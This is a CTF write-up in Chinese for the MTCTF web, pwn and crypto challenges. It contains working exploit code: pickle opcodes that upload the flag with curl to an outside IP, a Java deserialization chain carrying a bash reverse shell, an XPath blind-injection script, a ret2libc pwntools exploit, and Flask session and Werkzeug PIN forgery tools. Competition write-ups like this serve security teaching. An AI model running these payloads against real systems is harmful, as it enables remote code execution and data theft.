MTCTF Writeup By Light1ng
Web
easypickle
下载附件,是一个flask框架,然后很明显的存在pickle反序列化,首先我们需要伪造session成为admin。
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
这里的key是随机两字节的hex,很短,直接爆破了,这里贴一个网上公开的脚本:
import os
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoiZG1ubm4ifQ.YyVnKg.gh-CqX6tnM1otj37Zgs91tggvEU', key)
# print(res)
if 'user' in str(res):
print(key)
exit()
爆破得到key为6284,现在就可以通过flask_session_cookie_manager
来伪造session。
目前就成功伪造了session。接下来看看后面的反序列化逻辑。
从session中获取ser_data
键的值,然后替换掉一些字符,然后过滤R i o b
,就没法用pker
来生成payload了,这里直接手搓opcode了,
b'''(cos\nsystem\nS'calc'\nos.'''
然后现在只需要把这个base64编码一下,然后作为ser_data
的值,写入session即可。因为没有回显,尝试了反弹shell无果后,选择了curl外带数据,然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件的内容外带出来
b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.''' #外带/3.txt的内容到服务器上
发现flag就在当前目录,所以直接外带flag数据就行了。
payload:
a2 = b'''(cos\nsystem\nS'curl -T flag http://101.43.66.67:12345'\nos.'''
print(base64.b64encode(a2)) #KGNvcwpzeXN0ZW0KUydjdXJsIC1UIGZsYWcgaHR0cDovLzEwMS40My42Ni42NzoxMjM0NScKb3Mu
然后伪造session
flag{d58017f8-7e52-42e1-9306-dc3310813531}
OnlineUnzip
在打开源码阅读之后发现考点为pin码伪造但需要去上传含有软链接的文件,在搜索文章后发现做法
https://xz.aliyun.com/t/11647?page=1
https://xz.aliyun.com/t/8092#toc-3
https://xz.aliyun.com/t/2589
利用脚本为
import hashlib
from itertools import chain
import argparse
def getMd5Pin(probably_public_bits, private_bits):
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getSha1Pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
def macToInt(mac):
mac = mac.replace(":", "")
return str(int(mac, 16))
if __name__ == '__main__':
parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
args = parse.parse_args()
probably_public_bits = [
args.username,
args.modname,
args.appname,
args.path
]
private_bits = [
macToInt(args.MAC),
bytes(args.machineId, encoding = 'utf-8')
]
md5Pin = getMd5Pin(probably_public_bits, private_bits)
sha1Pin = getSha1Pin(probably_public_bits, private_bits)
print("Md5Pin: " + md5Pin)
print("Sha1Pin: " + sha1Pin)
已知pin码由username,modname,getattr(app, "__name__", app.__class__.__name__),getattr(mod, "__file__", None),str(uuid.getnode()), get_machine_id()
这六个参数构成
读取网卡/sys/class/net/eth0/address
machine-id构造先读取/proc/self/cgroup
,取第一行,利用正则value.strip().partition("/docker/")[2]
分割拿到数据,结果为空,继续走,取/etc/machine-id
,文件不存在,则去读/proc/sys/kernel/random/boot_id
/proc/self/cgroup 11:name=systemd:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
10:devices:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
9:blkio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
8:net_cls,net_prio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
7:perf_event:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
6:cpuset:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
5:memory:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
4:cpu,cpuacct:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
3:hugetlb:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
2:freezer:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
1:pids:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
0::/
/etc/machine-id
96cec10d3d9307792745ec3b85c89620
加上前面的bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
所以机器码为: 96cec10d3d9307792745ec3b85c89620bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
获得app.py的路径,可以通过制造报错得到。制作一个/路径的软链接即可目录穿越查看到python路径并查看到了flag文件,点击查看即会报错,得到app.py的绝对路径。
最后通过利用脚本做出pin码登录
babyjava
考点提示为xpath注入
在网上搜索了一个脚本和一些文章并对其进行修改
https://blog.csdn.net/weixin_30185907/article/details/113460995
https://www.likecs.com/show-203608955.html?sc=3869
https://www.codenong.com/cs106556717/
利用盲注脚本对根节点进行猜测
'or substring(name(/*[1]), {}, 1)
然后猜测子节点
'or substring(name(/root/*[1]), {}, 1)
最后对于user节点的下一节节点猜测
or substring(name(/root/user/*[position()=2]),{},1)
import time
import requests
import string
import re
url = "http://eci-2ze0evt5ezb27535qg8y.cloudeci1.ichunqiu.com:8888/hello"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 猜测根节点名称
# payload_1 = "xpath=user1' and substring(name(/*),{},1)='{}' and ''='"
flag = ''
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
for i in range(1, 100):
for j in strs
payload3 = "xpath=user1' and substring(/root/user/*[position()=2], " + str(i) + ", 1)='" + chr(j) + "' and ''='"
result = requests.post(url, payload3, headers=headers)
if "This information" not in result.text:
flag = flag + chr(j)
print(flag)
easyjava
打开附件看了一下依赖,有shiro、cb和cc库。
打开环境用工具爆破了一下key,没爆破出来。然后看到了/admin/hello 路由,就明白这个题不是直接打shiro的反序列化了。
这个路由自定义了一个反序列化,看起来绕过鉴权之后,就能直接打了。后面发现这里还存在有黑名单过滤类。但是有一点问题就是TemplatesImpl类,前面少了个小数点。然后就能直接用CB链打了。
鉴权绕过的话,就直接用CVE-2020-11989
http://47.95.211.153:22983/;/web/admin/hello
然后直接用CB链生成一个反弹shell的恶意字节码的base64编码就行了
恶意字节码
package ShiroCB;
import java.lang.reflect.Method;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Hacker extends AbstractTranslet{
public Hacker() throws Exception {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getruntime = runtime.getMethod("getRuntime");
Object r = getruntime.invoke(runtime);
exec.invoke(r,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
public static void main(String[] args) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
CB链
package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\ShiroAttck\\target\\classes\\ShiroCB\\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(payload));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
把得到的base64编码,进行url编码一下,然后直接作为data数据发过去
收到反弹的shell,find命令查找一下flag位置
flag{f0391e7d-ec7e-4a8e-8160-ddb1c257e380}
Pwn
note
checksec发现只开了nx,然后整个程序的逻辑是在栈上管理若干个堆块。
不难发现,在edit功能的函数内,下标指针v2是int类型的,这里检查越界只检查了是否大于0x10,
int __fastcall sub_4014B6(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
void *buf; // [rsp+18h] [rbp-8h]
printf("Index: ");
v2 = readint();
if ( v2 > 0x10 || !*(_QWORD *)(16LL * v2 + a1) )
return puts("Not allowed");
buf = *(void **)(16LL * v2 + a1);
printf("Content: ");
return read(0, buf, *(int *)(16LL * v2 + a1 + 8));
}
所以是存在问题的。
经过动态调试,发现v2为-1的时候,恰好可以劫持到sub_4014B6
的rbp和ret地址,所以直接在这里ret2libc打两遍,第一遍leak libcbase,第二遍ret到system("/bin/sh")即可getshell。
exp
from pwn import *
import LibcSearcher
context.log_level='debug'
context.arch='amd64'
# p = process('./note')
p = remote('39.106.133.19', 44964)
elf = ELF('./note')
libc = elf.libc
ru = lambda x : p.recvuntil(x)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
def choice(idx):
sla('ve\n', str(idx))
def add(size, content=p64(0xdeadbeef)):
choice(1)
sla('ze: ', str(size))
sa('tent: ', content)
def show(idx):
choice(2)
sla('dex: ', str(idx))
def edit(idx, content):
choice(3)
sla('dex: ', str(idx))
sa('tent: ', content)
def delete(idx):
choice(4)
sla('dex: ', str(idx))
def g(arg=''):
gdb.attach(p, arg)
raw_input()
# for i in range(16):
# add(0x60)
add(0x60)
# pay = asm(shellcraft.sh())
# g('b *0x401500')
# g('b *0x401579')
# g('b *0x401500')
prt_got = elf.got['printf']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004017b3 # pop rdi ; ret
ret = 0x000000000040101a # ret
pay = p64(0)+p64(pop_rdi)+p64(prt_got)+p64(puts_plt)+p64(0x401679)
edit(-4, pay)
libcbase = u64(p.recv(6).ljust(0x8, b'\x00'))-0x61c90
print(hex(libcbase))
# g('b *0x401579')
one = [0xe3afe, 0xe3b01, 0xe3b04]
sys = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
pay = p64(0x404080)+p64(ret)+p64(pop_rdi)+p64(libcbase+binsh)+p64(sys+libcbase)+p64(0x401679)
# pay = p64(0x404080) + p64(one[1]+libcbase) + p64(0x401679)
edit(-4, pay)
# choice(5)
# pay = p64(0x401150)*2
# edit(-1, pay)
# g()
p.interactive()
Crypto
strange_rsa1
gift是p和q的比值,所以其实是可以直接求出来p和q的,但问题在于python自带函数的精度不够,这里用到了sage来设置好精度计算,
# https://sagecell.sagemath.org/
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
pp = numerical_approx((n*gift), prec=1020)
p = numerical_approx(sqrt(pp), prec=1020)
print(int(p))
然后在python中求出q和d
from Crypto.Util.number import *
import gmpy2
from math import *
def qpow(a, b, p):
res = 1
while(b):
if b%2==1:
res = (res*a)%p
a = (a*a)%p
b//=2
return res
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 65537
p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = n//p
print(int(p))
print(int(q))
phin = (p-1)*(q-1)
d = gmpy2.invert(e, phin)
print(d)
m = qpow(c, d, n)
print(long_to_bytes(m))